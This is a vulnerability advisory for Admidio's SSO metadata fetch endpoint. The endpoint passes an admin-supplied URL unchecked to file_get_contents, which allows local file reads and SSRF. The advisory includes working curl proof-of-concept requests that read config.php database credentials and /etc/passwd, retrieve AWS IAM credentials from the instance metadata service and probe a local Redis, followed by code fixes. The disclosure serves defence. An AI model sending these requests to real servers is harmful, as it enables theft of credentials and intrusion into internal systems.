"details": "## Summary\n\nThe SSO metadata fetch endpoint at `modules/sso/fetch_metadata.php` accepts an arbitrary URL via `$_GET['url']`, validates it only with PHP's `FILTER_VALIDATE_URL`, and passes it directly to `file_get_contents()`. `FILTER_VALIDATE_URL` accepts `file://`, `http://`, `ftp://`, `data://`, and `php://` scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the `file://` wrapper (Local File Read), reach internal services via `http://` (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.\n\n## Details\n\n### Vulnerable Code\n\nFile: `D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php`, lines 9-34\n\n```php\n$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);\nif (!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Fetch metadata from external server\n$metadata = file_get_contents($url);\nif ($metadata === false) {\n http_response_code(500);\n echo \"Failed to fetch metadata\";\n exit;\n}\n\necho $metadata;\n```\n\n### FILTER_VALIDATE_URL Does Not Block Dangerous Schemes\n\nPHP's `FILTER_VALIDATE_URL` is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by `file_get_contents()`:\n\n| Scheme | Impact |\n|--------|--------|\n| `file:///etc/passwd` | Read any local file the web server process can access |\n| `http://127.0.0.1/` | SSRF to localhost services (databases, admin panels, internal APIs) |\n| `http://169.254.169.254/latest/meta-data/` | AWS EC2 instance metadata (IAM credentials) |\n| `data://text/plain,payload` | Data URI content injection |\n\nConfirmed by testing PHP's filter_var() and file_get_contents() with all of the above:\n\n```\nphp -r \"var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));\"\n// string(18) \"file:///etc/passwd\" <-- passes validation\n\nphp -r \"echo file_get_contents('file:///etc/passwd');\"\n// root:x:0:0:root:/root:/bin/bash <-- file contents returned\n```\n\n### file:// Does Not Require allow_url_fopen\n\nPHP's `file://` stream wrapper is the native filesystem handler and is always available regardless of the `allow_url_fopen` INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.\n\n### Response Is Returned Verbatim\n\nThe fetched content is echoed directly at line 34 (`echo $metadata`), making the complete contents of any readable local file or internal service response available to the caller.\n\n## PoC\n\n**Prerequisites:** Administrator account session cookie and CSRF token.\n\n**Step 1: Read the Admidio database configuration file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<admin_session>\" \\\n --data-urlencode \"url=file:///var/www/html/adm_my_files/config.php\"\n```\n\nExpected response: Full contents of config.php including the database host, username, and password in plaintext.\n\n**Step 2: Read system password file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<admin_session>\" \\\n --data-urlencode \"url=file:///etc/passwd\"\n```\n\n**Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<admin_session>\" \\\n --data-urlencode \"url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\nExpected response: IAM role name followed by temporary AWS access key and secret.\n\n**Step 4: SSRF to an internal service on localhost**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<admin_session>\" \\\n --data-urlencode \"url=http://127.0.0.1:6379/\"\n```\n\n(Probes a Redis instance on localhost.)\n\n## Impact\n\n- **Local File Read:** The attacker can read any file accessible to the PHP web server process, including Admidio's `config.php` (database credentials), `/etc/passwd`, private keys stored in the web root, and `.env` files.\n- **Database Credential Theft:** Reading `config.php` exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.\n- **Cloud Metadata Exposure:** On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.\n- **Internal Network Reconnaissance:** The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.\n- **Scope Change:** Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.\n\n## Recommended Fix\n\n### Fix 1: Restrict to HTTPS scheme and block internal IP ranges\n\n```php\n$rawUrl = $_GET['url'] ?? '';\n\n// Only allow https:// scheme\nif (\\!preg_match('#^https://#i', $rawUrl)) {\n http_response_code(400);\n echo \"Only HTTPS URLs are permitted\";\n exit;\n}\n\n$url = filter_var($rawUrl, FILTER_VALIDATE_URL);\nif (\\!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Resolve hostname and block internal/private IP ranges\n$host = parse_url($url, PHP_URL_HOST);\n$ip = gethostbyname($host);\nif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n http_response_code(400);\n echo \"URL resolves to a private or reserved IP address\";\n exit;\n}\n\n$metadata = file_get_contents($url);\n```\n\n### Fix 2: Use cURL with explicit scheme restriction\n\n```php\n$ch = curl_init($url);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\ncurl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\ncurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n$metadata = curl_exec($ch);\ncurl_close($ch);\n```\n\nNote: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.",
0 commit comments